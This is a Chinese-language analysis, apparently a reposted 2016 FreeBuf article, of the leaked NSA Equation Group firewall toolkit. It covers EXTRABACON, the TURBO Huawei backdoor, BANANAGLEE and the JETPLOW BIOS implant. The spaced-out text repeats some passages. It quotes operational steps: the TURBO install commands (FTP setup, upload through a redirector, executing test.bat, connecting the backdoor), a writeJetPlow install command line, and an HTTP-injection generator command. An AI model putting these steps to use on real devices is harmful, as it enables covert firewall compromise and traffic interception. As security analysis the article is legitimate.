搜索

[10415] 2016-08-21_NSA（美国国安局）泄漏文件深度分析（PART1）

文档创建者：s7ckTeam
浏览次数：25
最后更新：2025-01-18
2016-08-21_NSA（美国国安局）泄漏文件深度分析（PART1） N S A （ 美 国 国 安 局 ） 泄 漏 文 件 深 度 分 析 （ P A R T   1 ） t o m _ v o d u   F r e e B u f   2 0 1 6 - 0 8 - 2 1 *   本 文 原 创 作 者 ： t o m _ v o d u ， 本 文 属 F r e e B u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载         一 、 前 言 一 、 前 言 防 火 墙 是 保 护 内 网 机 器 不 受 网 络 攻 击 者 侵 害 的 第 一 道 也 是 非 常 核 心 的 一 道 防 线 ， 最 基 本 的 功 能 就 是 外 部 人 员 无 法 访 问 到 内 网 的 机 器 ， 内 部 人 员 能 正 常 访 问 互 联 网 ， 借 此 保 护 内 网 安 全 。 防 火 墙 是 保 护 内 网 机 器 不 受 网 络 攻 击 者 侵 害 的 第 一 道 也 是 非 常 核 心 的 一 道 防 线 ， 最 基 本 的 功 能 就 是 外 部 人 员 无 法 访 问 到 内 网 的 机 器 ， 内 部 人 员 能 正 常 访 问 互 联 网 ， 借 此 保 护 内 网 安 全 。 自 1 9 9 3 年 防 火 墙 发 明 至 今 ， 对 网 络 攻 击 者 而 言 其 依 旧 是 一 道 难 以 逾 越 的 天 堑 ， 但 不 是 不 能 逾 越 。 有 太 多 的 企 业 盲 目 的 相 信 设 备 ， 这 是 不 全 面 的 。 这 次 泄 漏 的 工 具 全 部 是 针 对 防 火 墙 ， 包 含 的 部 分 型 号 如 下 ： 这 次 泄 漏 的 工 具 全 部 是 针 对 防 火 墙 ， 包 含 的 部 分 型 号 如 下 ： 在 2 0 1 5 年 度 ， 中 国 防 火 墙 前 十 关 注 品 牌 比 例 如 下 图 ： 涉 及 到 的 防 火 墙 品 牌 在 中 国 占 比 超 过 了 6 0 % ， 在 世 界 范 围 内 更 甚 。 夸 张 的 说 就 是 全 中 国 6 0 % 的 公 司 及 部 门 内 网 可 以 被 工 具 拥 有 者 直 接 访 问 。 而 这 只 是 文 件 中 6 0 % 公 开 给 大 众 的 工 具 ， 还 有 4 0 % 的 核 心 机 密 工 具 正 在 以 高 价 拍 卖 。 二 、 文 件 夹 简 介 二 、 文 件 夹 简 介 文 件 的 主 目 录 为 文 件 的 主 目 录 为 F i r e w a l l ， 下 面 有 ， 下 面 有 9 个 子 文 件 夹 ， 推 测 如 下 ： 个 子 文 件 夹 ， 推 测 如 下 ： B A N A N A G L E E   针 对 J u n i p e r 与   C I S C O   A S A   的 后 门 工 具 B A R G L E E   跟 B A N A N A G L E E 类 似 的 防 火 墙 后 门 工 具 B L A T S T I N G   安 装 在 目 标 上 的 工 具 ， 有 s c a n ， p r o f i l e r ， s n i f f e r 功 能 。 其 中 的 L P 功 能 类 似 于 B G 里 的 L P B U Z Z D I R E C T I O N       包 含 一 些 a t t a c k e r 使 用 的 工 具 E X P L O I T S         E X P 文 件 夹 O P S         T h i s   f o l d e r   c o n t a i n   t h e   s c r i p t   i s   u s e d   t o   c o n f i g u r e   A p a c h e   o n   y o u r   O p b o x   f o r   F W   O p s S C R I P T S         脚 本 文 件 夹 ， 包 含 许 多 工 具 安 装 使 用 说 明 ， 配 置 脚 本 等
T O O L S         用 户 辅 助 工 具 文 件 夹 T U R B O         针 对 华 为 设 备 后 门 在 E X P L O I T S   文 件 夹 中 ， 有 如 下 子 文 件 夹 ， 分 析 如 下 ： E G B L   =   E G R E G I O U S   B L U N D E R   ( F o r t i g a t e   F i r e w a l l   +   H T T P D   e x p l o i t   ) E L B A   =   E L I G I B L E   B A C H E L O R                           ( t o p s e c   f i r e w a l l   ) E L B O   =   E L I G I B L E   B O M B S H E L L   ( C h i n e s e   T O P S E C   f i r e w a l l ) E L C A   =   E L I G I B L E   C A N D I D A T E                               ( t o p s e c   f i r e w a l l   ) E L C O   =   E L I G I B L E   C O N T E S T A N T   ( t o p s e c   f i r e w a l l   ) E P B A   =   E P I C   B A N A N A                           ( c i s c o   a s a 与 j u n i p e r   ) E S P L   =   E S C A L A T E   P L O W M A N         E X B A   =   E X T R A   B A C O N                           ( C i s c o   A S A   v 8 . 0   t o   v 8 . 4 ) 三 、 测 试 三 、 测 试 准 备 先 测 试 一 个 E X P ， 选 择 “ e q g r p - f r e e - f i l e / F i r e w a l l / E X P L O I T S / E X B A / e x t r a b a c o n _ 1 . 1 . 0 . 1 . p y ” 文 件 ， 分 析 如 下 ： 1 . 该 程 序 通 过 S N M P 获 取 一 些 目 标 的 基 本 信 息 2 . 执 行 v e r s i o n _ c h e c k ： 3 . 检 查 目 标 当 前 版 本 号 是 不 是 在 支 持 列 表 中 4 . 如 果 该 目 标 版 本 号 在 当 前 支 持 列 表 中 ， 就 创 建 s h e l l c o d e ： 5 . 按 照 选 项 生 成 开 启 验 证 或 者 关 闭 验 证 的 p a y l o a d ：
6 . 生 成 E X P ， 执 行 ： 执 行 该 E X P 的 效 果 就 是 关 闭 防 火 墙 对 管 理 接 口 （ T E L N E T 或 者 S S H ） 的 认 证 ， 允 许 攻 击 者 通 过 连 接 不 需 要 验 证 的 管 理 接 口 （ T E L N E T 或 者 S S H ） 进 行 未 授 权 操 作 总 结 文 档 中 说 的 ， 漏 洞 前 提 条 件 有 以 下 三 条 ： 1 . A S A 的 版 本 号 必 须 是 8 . 4 . 4 及 以 下 2 . 开 启 t e l n e t 或 者 S S H 管 理 接 口 3 . 开 启 S N M P   使 用 的 U D P   1 6 1 端 口 这 三 个 条 件 加 在 一 起 就 比 较 苛 刻 ， 8 . 4 . 4 版 本 实 在 是 有 点 老 了 ， 搜 索 到 的 A S A 基 本 都 是 8 . 5 或 者 以 上 ， 最 接 近 的 一 个 是 8 . 4 . 5 。 同 时 还 要 开 启 管 理 接 口 和 S N M P 端 口 。 目 前 并 没 有 找 到 合 适 的 公 网 设 备 进 行 测 试 ， 只 能 在 虚 拟 环 境 中 进 行 验 证 。 四 、 四 、 T U R B O 分 析 分 析 文 件 “ e q g r p - f r e e - f i l e / F i r e w a l l / S C R I P T S / T U R B O _ i n s t a l l - n e w . t x t ” 中 有 详 细 的 安 装 说 明 ， 总 结 安 装 步 骤 如 下 ： 1 . 在 华 为 的 设 备 上 开 启 F T P 服 务 ， 并 且 赋 予 用 户 F T P 目 录 及 权 限 。 f t p   s e r v e r   e n a b l e a a a l o c a l - u s e r   < U S E R >   f t p - d i r e c t o r y   f l a s h : / l o c a l - u s e r   < U S E R >   s e r v i c e - t y p e   < c u r r e n t   p r i v s >   f t p 2 . 将 需 要 上 传 的 文 件 统 一 放 入 T U R B O 下 的 u p l o a d 目 录 里 ， 并 赋 予 完 全 权 限 m k d i r   / c u r r e n t / b i n / F W / T U R B O / u p l o a d c d   / c u r r e n t / b i n / F W / T U R B O / u p l o a d c p   / c u r r e n t / b i n / F W / T U R B O / r e k e y / b f i l e . *   b f i l e c p   / c u r r e n t / b i n / F W / T U R B O / P P / T X / b t e s t . b a t   . c p   / c u r r e n t / b i n / F W / T U R B O / P S / E 1 0 0 0 _ V R P 3 3 0 _ R 0 3 5 0 _ 0 3 _ 0 8 / s *   . c h m o d   7 7 7   * 3 . 连 接 设 备 的 F T P ， 上 传 g r a t   ( P o l a r S n e e z e )   &   P B D   ( P o l a r P a w s ) n f t p   - r   R E D I R E C T O R _ I P   - N   1 2 7 . 0 . 0 . 1   F I R E W A L L _ I P d i r p u t   t e s t . b a t   t e s t . b a t b i n a r y p u t   s f i l e   s f i l e p u t   b f i l e   b f i l e b i n g e t   < f i l e > q u i t 4 . 执 行 t e s t . b a t 安 装 e x e c u t e   t e s t . b a t 5 . 连 接 后 门 . / p a n d a r o c k _ v 1 . 1 0 . 0 . 1 . b i n s e t t i p   1 2 7 . 0 . 0 . 1
s e t t p o r t   3 1 4 6 s e t s p o r t   3 1 2 3 注 意 ： 注 意 ： 注 ： 其 中 的 r e k e y 目 录 下 的 b f i l e . *   b f i l e 文 件 我 并 没 有 找 到 ， 但 是 文 档 之 前 说 的 “ E v e r y t h i n g   y o u   n e e d   f o r   t h e   o p   i s   i n   f i r e w a l l s / T U R B O   d i r e c t o r y ” 。 关 于 K E Y ， 是 由 程 序 在 本 地 生 成 然 后 使 用 ， 如 下 图 ： 总 结 ： 没 有 详 细 的 针 对 版 本 叙 述 ， 怀 疑 可 能 是 通 杀 全 版 本 的 华 为 。 N S A 对 华 为 产 品 很 了 解 ， 甚 至 包 含 全 套 撤 离 操 作 标 准 。 其 中 的 s c r u b u s e r 与 c r u b h i d d e n 命 令 并 不 是 华 为 命 令 ， 应 该 为 后 门 程 序 自 带 功 能 。 由 于 没 有 说 明 针 对 设 备 的 型 号 及 其 版 本 号 ， 所 以 在 H U A W E I 的 e N S P 随 意 选 择 了 一 台 路 由 器 进 行 简 单 测 试 ， 但 是 并 未 成 功 ， 仍 需 要 进 行 t r o u b _ s h o o t i n g 。 并 且 不 确 定 是 因 为 设 备 、 T U R B O 配 置 问 题 还 是 因 为 版 本 支 持 及 虚 拟 化 问 题 。 所 有 后 门 连 接 都 必 须 使 用 * . k e y 文 件 ， 有 很 高 的 安 全 意 识 ， 基 本 无 法 被 爆 破 。 五 、 五 、 B A N A N A G L E E 该 项 目 应 该 是 针 对 J u n i p e r 设 备 与 C I S C O   A S A   设 备 ， “ B A N A N A G L E E ”   目 录 下 由 B G 开 头 的 五 个 目 录 和 一 个 B A N A N A S U R P E R 目 录 ( 升 级 文 件 ) 。 文 件 夹 名 称 以 B G 开 头 ， 数 字 结 尾 。 开 头 的 “ B G ” 应 该 是 工 具 “ B A N A N A G L E E ” 的 简 称 ， 结 尾 的 数 字 ， 应 该 是 j u n i p e r 设 备 的 型 号 ， 编 号 为 3 1 2 1 文 件 夹 为 专 门 针 对 C I S C O   A S A   设 备 。 部 分 关 于 B G 的 c h a n g e l o g ： 并 且 该 u s e r s c r i p t . F W 应 该 为 整 体 的 启 动 程 序 ： 在 “ e q g r p - f r e e - f i l e / F i r e w a l l / B A N A N A G L E E / B G 2 1 0 0 / I n s t a l l / L P / ” 中 的 l p ， 通 过 它 来 启 动 B G 的 功 能 。 其 中 一 个 主 要 的 模 块 就 是 r e d i r e c t o r ， 在 防 火 墙 上 实 现 流 量 加 密 ， 转 发 。 其 中 的 L P “ e q g r p - f r e e - f i l e / F i r e w a l l / B A N A N A G L E E / B G 2 1 0 0 / I n s t a l l / L P / L P ” 为 后 门 连 接 程 序 或 者 说 叫 做 管 理 端 ， 部 分 功 能 选 项 如 下 ：
C h o o s e   o p t i o n   1   t o   O p e n   a   s e s s i o n C h o o s e   o p t i o n   9   t o   c l o s e   y o u r   s e s s i o n . C h o o s e   o p t i o n   3 0   t o   L i s t   U p l o a d a b l e   M o d u l e s C h o o s e   o p t i o n   3 1   t o   U p l o a d   t h e   B U S U R P E R - 2 1 2 1 . m o d   m o d u l e C h o o s e   o p t i o n   3 2   t o   A c t i v a t e   t h e   B U S U R P E R - 2 1 2 1 . m o d   m o d u l e C h o o s e   o p t i o n   3 6   t o   v i e w   u p l o a d e d   m o d u l e s C h o o s e   o p t i o n   0   t o   c l o s e   y o u r   l p . 在 “ e q g r p - f r e e - f i l e / F i r e w a l l / B A N A N A G L E E / B G 2 1 0 0 / I n s t a l l / L P / U T I L S / ” 文 件 夹 中 ， 有 如 下 几 个 文 件 ： i p F i l t . t x t t c p F i l t . t x t i p F i l t . t x t i p F i l t - e x t r . t x t t c p F i l t - e x t r . t x t 其 中 t c p F i l t . t x t 内 容 如 下 ： 上 述 文 件 内 容 跟 “ e q g r p - f r e e - f i l e / F i r e w a l l / S C R I P T S / N e t p r o f i l e r . t x t ”   中 说 明 的 流 量 过 滤 选 项 类 似 ， n e t p r o f i l e r 程 序 ， 它 是 用 来 过 滤 和 导 出 文 件 。 简 要 总 结 如 下 ： 1 .   p r o f i l e r 模 块 的 拥 有 两 个 模 块 ， 分 别 是 f i l t e r 与 e x t r a c t i o n 。 2 .   分 析 文 件 中 的 数 据 格 式 ， 推 测 为 在 防 火 墙 上 ， 定 向 的 选 择 出 需 要 的 流 量 ， 然 后 进 行 导 出 。 如 果 你 需 要 保 存 之 前 的 数 据 到 一 个 “ h t t p F i l t . t x t ” 文 档 中 ， 然 后 给 p r o f i l t e r 去 编 辑 它 。 3 .   为 了 导 出 流 量 ， 你 必 须 特 别 指 定 从 I P 包 头 开 始 的 偏 移 量 和 字 节 长 度 。 实 际 上 你 导 出 的 流 量 是 数 据 包 从 I P 包 头 开 始 ， 偏 移 某 个 长 度 的 定 长 度 的 数 据 。 4 . 一 旦 你 编 译 好 了 f i l t e r 和 e x t r a c t i o n ， 你 就 可 以 上 传 到 “ P r o f i l e r   m o d u l e ” 去 执 行 了 。 S a m p l e ： . / x t r c t c o m p   t c p P o r t - e x t r . t x t   t c p P o r t - e x t r . b i n   5 .   将 收 集 到 的 流 量 写 入 e x t r a c t ， 文 件 在 j u n i p e r 的 防 火 墙 上 。 并 且 为 了 将 收 集 到 的 数 据 转 换 成 p c a p 格 式 ， 还 专 门 提 供 了 转 换 工 具 S a m p l e : . / x t r a c t p l e a s i n g   - - i   < c o l l e c t e d   p r o f i l e >   - - o   < o u t p u t   f i l e >   - - s   < n u m b e r   o f   b y t e s   s k i p p e d >   - - t     < N u m b e r   o f   b y t e s   c o l l e c t e d >   - - p   < o p t i o n a l   f l a g   t o   s p e c i f y   T C P ,   U D P ,   o r   I C M P >     在 分 析 完 多 个 文 件 之 后 ， 将 该 工 具 总 结 如 下 ： 在 分 析 完 多 个 文 件 之 后 ， 将 该 工 具 总 结 如 下 ： 三 个 较 为 核 心 工 具 ： L P （ 控 制 端 ） ， r e d i r e c t o r ＋ t u n n e l （ 建 立 加 密 隧 道 ） ， p r o f i l e r （ 获 取 流 量 ） 。 在 本 地 的 t x t 中 写 入 t a r g e t 流 量 特 征 ， 包 括 I P 地 址 ， 掩 码 ， 协 议 ， 端 口 号 等 。 然 后 编 译 上 传 至 防 火 墙 上 加 载 执 行 。 防 火 墙 会 根 据 设 定 捕 获 相 应 的 流 量 ， 然 后 将 需 要 保 存 的 数 据 写 入 到 e x t r a c t 文 件 中 。 然 后 使 用 者 将 该 文 件 下 会 ， 并 用 特 定 的 处 理 脚 本 将 数 据 转 换 成 p c a p 格 式 。 关 于 r e d i r e c t o r 模 块 ， 运 行 s t a r t _ r e d i r e c t o r ， 程 序 会 创 建 并 上 传 一 个 叫 做 P a c k e t D r o p p e r   的 f i l t e r   文 件 ， 并 且 可 以 启 动 一 个 本 地 监 听 程 序 用 来 加 密 和 转 发 数 据 。 具 体 功 能 类 似 于 常 用 了 H T T P 代 理 ， 不 同 的 地 方 就 是 该 代 理 程 序 以 固 件 形 式 运 行 在 防 火 墙 上 ， 并 且 将 流 量 数 据 加 密 。 本 地 监 听 程 序 ， 因 该 就 是 所 有 操 作 文 档 中 都 会 使 用 的 t u n n e l ， 流 程 理 解 如 下 图 ：
t u n n e l 程 序 所 在 位 置 ： J P ， 全 称 是 J E T P L O W ， 该 文 件 为 “   b i o s   m o d u l e ”   f o r   P I X ， 就 是 可 以 允 许 人 员 操 作 修 改 b i o s 。 该 工 具 仅 支 持 B G 2 1 0 0 与 B G 2 2 0 0 两 个 ， 如 下 图 ： 分 析 得 出 该 程 序 有 两 种 模 式 ， 分 别 为 ： F O R   A   G E N E R A L   P I X F O R   A   P I X   A S A 并 且 b i o s M o u d l e y o u 多 种 型 号 ， 一 般 使 用 A M 2 9 F . m o d ， 在 该 工 具 包 中 ， 实 际 文 件 为 ： 通 过 查 询 ， 判 断 可 能 是 A M D   /   A M 2 9 F 4 系 列 芯 片 ， 一 款 A M D 产 的 C M O S 的 存 储 器 。 （ h t t p : / / h t m l . a l l d a t a s h e e t c n . c o m / h t m l - p d f / 5 5 4 6 7 / A M D / A M 2 9 F 4 0 0 B - 1 / 2 7 0 / 5 / A M 2 9 F 4 0 0 B - 1 . h t m l ） 首 先 是 通 过 L P 上 传 改 m o d u l e ， 然 后 本 地 运 行 两 次 “ w r i t e J e t P l o w ” 程 序 ， 第 一 次 不 携 带 参 数 ， 第 二 次 携 带 参 数 ， 例 如 ： “ . / w r i t e J e t P l o w - 2 1 3 0   - - l p   1 2 7 . 0 . 0 . 1   - - i m p l a n t   1 2 7 . 0 . 0 . 1   - - i d k e y   p r o j e c t . k e y   - - s p o r t   2 3 4 3 5   - - d p o r t   4 5 4 5 3   - - r e a d C m d   1 8   - - w r i t e C m d   1 9   - - o p e r a t i o n   I N S T A L L   - - d i r   j e t p l o w   - - e x p e r t   - - p l a t f o r m   P I X # # # ”
一 路 回 车 ， 选 择 默 认 选 项 。 将 恶 意 代 码 或 者 后 门 等 工 具 制 作 成 二 进 制 的 B I O S 固 件 级 别 文 件 ， 上 传 到 目 标 设 备 上 执 行 ，   将 极 其 不 可 能 被 发 现 。 （ 个 人 经 验 ： 接 触 网 络 安 全 ， 研 究 设 备 这 么 长 时 间 ， 从 没 有 听 说 过 谁 会 将 设 备 上 的 I O S 下 会 到 本 地 ， 计 算 M D 5 ， 跟 官 方 的 数 据 进 行 比 对 ， 已 确 定 是 否 是 正 版 ） 在 “ e q g r p - f r e e - f i l e / F i r e w a l l / B A N A N A G L E E / B G 2 1 0 0 / D a t s / ” 目 录 下 ， 有 大 量 的 d a t 文 件 ， 从 文 件 名 可 以 大 概 看 出 来 b a n a n a g l e e 可 能 针 对 的 设 备 型 号 ： 只 是 在 2 1 0 0 文 件 夹 所 ， 所 对 应 的 设 备 就 基 本 覆 盖 了 J u n i p e r   F i r e w a l l 产 品 线 的 大 部 分 新 老 产 品 了 ， 还 有 出 了 2 1 0 0 外 的 四 个 类 似 文 件 夹 。         推 测 ， 推 测 ， N S A 的 后 门 应 该 可 以 种 植 在 所 有 的 后 门 应 该 可 以 种 植 在 所 有 J u n i p e r   F i r e w a l l 上 上 。 。 目 前 总 结 所 有 分 析 ， 只 了 解 到 该 工 具 包 是 如 何 在 防 火 墙 固 件 层 面 上 ， 精 确 的 捕 获 流 量 ， 记 录 流 量 ， 未 找 到 更 多 选 项 或 者 关 于 动 态 劫 持 流 量 的 操 作 文 档 。 由 于 想 进 一 步 了 解 ， 就 准 备 开 始 着 手 逆 向 “ e q g r p - f r e e - f i l e / F i r e w a l l / B U Z Z D I R E C T I O N / B U Z Z _ 1 1 2 0 / M o d s / A p p / B u z z d i r e c t i o n ／ i 3 8 6 N e t w o r k P r o f i l e r . l x 3 2 ” 与 “ N e t w o r k P r o f i l e r . l x 6 4 ” 程 序 ， 以 图 获 取 更 多 信 息 。 由 于 防 火 墙 R O M 并 不 会 很 大 ， 获 取 完 整 流 量 效 果 不 好 ， 所 以 推 测 该 方 式 只 是 用 来 进 行 侦 查 探 测 或 者 叫 做 N e t w o r k P r o f i l e ， 或 者 是 由 于 目 前 信 息 不 完 整 ， 不 知 道 该 工 具 包 的 完 整 面 功 能 。 在 “ e q g r p - f r e e - f i l e / F i r e w a l l / B U Z Z D I R E C T I O N / B U Z Z _ 1 2 1 0 / S e c o n d d a t e C n C / n o a r c h / ” 文 件 夹 中 有 两 个 文 件 ， 分 别 叫 做 叫 做 “ c r e a t e _ h t t p _ i n j e c t i o n . p y ” 与 “ c r e a t e _ d n s _ i n j e c t i o n . p y ” ， 引 起 了 我 极 大 的 兴 趣 。 其 中 ， 在 命 令 行 下 运 行 “ p y t h o n   c r e a t e _ h t t p _ i n j e c t i o n . p y   - o   t e s t . h t m l   h t t p : / / w w w . b a i d u . c o m / i n d e x . p h p ”         会 生 成 一 个 t e s t . h t m l t 文 件 ， 内 容 如 下 图 ： 该 页 面 的 作 用 就 是 不 停 的 请 求 “ h t t p : / / w w w . b a i d u . c o m / i n d e x . p h p ” 页 面 。 该 是 用 来 在 防 火 墙 上 针 对 特 定 目 标 进 行 流 量 投 毒 ， 劫 持 H T T P 流 量 ， 使 得 目 标 用 户 在 打 开 某 一 网 页 时 ， 被 强 制 访 问 含 有 恶 意 软 件 及 脚 本 的 页 面 。 但 是 在 其 它 操 作 文 档 中 并 未 找 到 任 何 关 于 动 态 劫 持 流 量 计 的 操 作 命 令 ， 所 以 只 能 猜 测 该 功 能 可 能 在 剩 下 的 4 0 % 文 件 中 或 者 是 在 其 它 的 工 具 包 中 。 小 插 曲 小 插 曲 在 分 析 j e t p l o w 文 档 的 时 候 ， 出 现 了 第 一 个 工 网 I P 地 址   “ 2 0 2 . 1 6 3 . 6 9 . 1 8 9 ” ， 出 现 位 置 是 在 一 个 j e t p l o w 说 明 文 档 内 的 一 个 文 件 的 名 称 中 ， 如 下 图 ：   经 查 ， 该 I P 地 址 属 于   巴 基 斯 坦 。
        并 且 有 意 思 的 是 该 文 件 名 还 包 括 “ s i c k l e   s t a r ” ， 中 文 翻 译 为 “ 镰 刀   星 星 ” ， 加 上 巴 基 斯 坦 的 I P 地 址 ， 不 知 道 有 何 意 义 。 由 于 该 文 档 编 写 时 间 过 早 ， 不 能 确 定 该 I P 地 址 的 归 属 和 启 用 过 何 种 服 务 ， 以 及 是 架 设 过 P I X 设 备 。 因 此 不 能 确 定 该 I P 地 址 跟 工 具 包 开 发 者 之 间 的 联 系 。 从 该 文 件 的 c h a n g e _ l o g 中 看 出 ， 该 文 件 的 开 发 部 署 时 间 是 2 0 1 0 年 1 2 月 1 5 日 ！ （ 本 人 2 0 1 0 年 的 时 候 ， 才 刚 刚 进 入 大 学 ， 开 始 学 习 高 数 ， 大 物 ， 马 哲 等 课 程 ） 六 、 问 题 六 、 问 题 关 于 t u n n e l ， 在 每 个 操 作 指 南 中 ， 只 要 需 要 接 触 到 目 标 的 操 作 ， 都 会 提 前 建 立 一 个 t u n n e l 通 过 r e d i r e c t o r 去 连 接 目 标 。 这 个 行 为 如 果 是 因 为 设 备 在 内 网 中 ， 就 很 好 理 解 ， 通 过 r e d i r e c t o r 代 理 转 发 进 内 网 。 但 是 在 一 些 其 它 的 文 件 中 看 到 ， 一 些 针 对 防 火 墙 等 理 论 上 处 于 边 界 的 设 备 的 操 作 也 需 要 经 过 一 个 R E D I A E C T O R ， 例 如 在 “ e q g r p - f r e e - f i l e / F i r e w a l l / S C R I P T S / E G B L _ A N D _ B L A T S T I N G . t x t ” 文 件 中 有 如 下 叙 述 ： 在 该 文 件 开 始 部 分 说 的 非 常 明 确 ， 针 对 F o r t i g a t e   l i n e   o f   F i r e w a l l s   H T T P D 的 E X P ， 并 且 第 一 步 骤 是 对 防 火 墙 的 扫 描 去 获 取 E T A G ， 从 而 去 判 断 能 否 执 行 E X P 。 该 步 骤 必 须 要 执 行 一 个 t u n n e l ， 由 于 该 操 作 文 档 具 是 具 有 通 用 性 了 ， 防 火 墙 套 防 火 墙 的 设 计 只 会 是 个 例 。 F o r t i g a t e 应 该 处 于 网 络 边 界 ， 那 为 什 么 还 要 和 防 火 墙 建 立 一 个 t u n n e l ， 然 后 再 去 扫 描 t a r g e t 。 我 就 非 常 不 明 白 这 是 为 什 么 ， 只 是 简 单 的 当 做 一 个 网 络 跳 板 么 ， 用 0 D A Y 获 取 网 络 跳 板 ， 会 不 会 成 本 太 高 。 七 、 搭 建 信 息 七 、 搭 建 信 息
由 于 还 在 测 试 ， 搭 建 信 息 还 不 完 善 ， 期 待 大 家 的 完 善 。 文 件 “ e q g r p - f r e e - f i l e / F i r e w a l l / B L A T S T I N G / B L A T S T I N G _ 2 0 3 2 2 / o p i n s t r u c t i o n s / u p l o a d _ n o p e n . t x t ” 中 有 部 分 安 装 流 程 ： B L A T S T I N G 基 本 操 作 文 档 “ e q g r p - f r e e - f i l e / F i r e w a l l / S C R I P T S / b l a t s t i n g _ b a s i c s . t x t ” 安 装 脚 本 在 S C R I P T 与 O P S 中 有 很 多 ， 仍 然 在 测 试 中 。 。 。 。 八 、 总 结 八 、 总 结 N S A 对 流 量 处 理 的 方 式 跟 我 之 前 使 用 的 方 式 不 一 样 。 由 于 深 入 到 固 件 级 别 ， 数 据 处 理 效 率 ， 隐 藏 效 果 会 非 常 好 。 而 且 在 设 备 上 的 操 作 不 在 只 是 获 取 和 记 录 流 量 ， 还 能 按 照 设 定 获 取 数 据 包 中 的 特 定 字 段 ， 并 且 推 测 有 能 力 直 接 在 设 备 上 完 成 对 流 量 的 劫 持 与 修 改 。 这 是 我 之 前 思 路 完 全 不 能 比 拟 的 。 结 合 之 前 的 新 闻 ， 中 国 某 大 型 互 联 网 设 备 企 业 被 N S A 从 2 0 0 7 年 左 右 开 始 控 制 直 到 1 4 年 被 N S A 自 己 的 雇 员 @ E d w a r d   S n o w d e n   曝 光 该 行 动 ， 入 侵 行 为 从 未 被 发 现 ， 入 侵 行 为 长 达 七 年 之 久 啊 。 （ h t t p : / / t e c h . 1 6 3 . c o m / 1 4 / 0 3 2 3 / 1 0 / 9 O 1 0 O F G 6 0 0 0 9 1 5 B E . h t m l ） 并 且 该 入 侵 行 为 被 曝 光 之 后 也 未 公 布 相 关 调 查 报 告 ， 使 得 公 众 对 入 侵 行 为 使 用 的 方 式 方 法 与 工 具 一 无 所 知 ， 只 能 进 行 如 下 猜 测 ： 入 侵 行 为 不 可 能 一 点 都 不 备 发 现 ， 只 是 太 多 的 细 节 被 目 标 公 司 员 工 或 者 网 络 安 全 人 员 所 忽 略 ， 并 且 以 “ 我 们 有 强 大 的 防 火 墙 ， 我 们 处 于 中 国 互 联 网 安 全 设 备 领 导 地 位 ” ， 这 样 的 宣 传 标 语 所 麻 痹 ， 出 现 问 题 自 我 安 慰 ， 只 是 一 个 b u g 。 并 且 ， 在 并 且 ， 在 2 0 1 0 年 ， 估 计 还 没 有 人 关 心 防 火 墙 自 身 的 安 全 。 年 ， 估 计 还 没 有 人 关 心 防 火 墙 自 身 的 安 全 。 由 此 可 知 ， N S A 在 2 0 0 7 年 之 前 就 已 经 开 始 着 眼 于 网 络 设 备 ， 并 且 深 知 控 制 了 网 络 设 备 所 带 来 的 优 势 。 控 制 了 防 火 墙 就 等 同 于 控 制 了 目 标 的 大 门 ， 并 且 该 大 门 的 开 启 对 方 难 以 察 觉 。 修 改 B I O S 固 件 ， 就 是 做 到 让 这 扇 门 根 本 无 法 被 关 闭 。 从 工 具 包 中 的 代 码 看 出 ， N S A 程 序 员 的 能 力 并 没 有 强 到 天 上 ， 他 们 使 用 P y t h o n ， P e r l 等 脚 本 语 言 写 出 来 的 工 具 ， 跟 我 们 大 家 一 样 。 唯 一 的 区 别 就 是 习 惯 ， 从 函 数 的 定 义 命 名 ， 代 码 结 构 顺 序 ， 设 计 思 路 ， 及 各 个 方 面 的 考 虑 ， 比 国 内 程 序 员 写 的 精 细 很 多 ， 尽 力 去 考 虑 到 所 有 可 能 出 现 的 问 题 。 代 码 阅 读 很 舒 服 。 国 内 普 遍 比 较 浮 躁 ， 但 也 有 幸 认 识 了 许 多 脚 踏 实 地 的 优 秀 程 序 员 。 中 国 目 前 并 不 缺 乏 优 秀 的 程 序 员 ， 缺 的 是 哪 种 着 眼 于 未 来 的 意 识 与 规 划 。 由 于 之 前 也 一 直 在 做 关 于 设 备 及 流 量 安 全 的 研 究 ， 深 知 控 制 了 网 络 流 量 就 控 制 了 一 切 的 道 理 。 并 且 研 究 设 备 安 全 有 一 段 时 间 ， 本 以 为 自 己 可 以 仰 望 到 星 空 了 ， 但 这 个 工 具 包 让 我 认 识 到 我 只 是 看 到 了 只 是 井 口 的 一 片 天 。 亟 需 提 高 自 己 的 眼 界 。 期 待 着 志 同 道 合 之 士 共 同 研 究 ， 学 习 。 在 当 前 的 狂 风 暴 雨 中 为 安 全 打 开 一 片 天 。 由 于 该 工 具 包 才 公 开 不 久 ， 时 间 短 ， 如 有 疏 漏 ， 烦 请 指 出 ， 我 们 共 同 讨 论 ， 谢 谢 。 由 于 该 工 具 包 才 公 开 不 久 ， 时 间 短 ， 如 有 疏 漏 ， 烦 请 指 出 ， 我 们 共 同 讨 论 ， 谢 谢 。         *   本 文 原 创 作 者 ： t o m _ v o d u ， 本 文 属 F r e e B u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理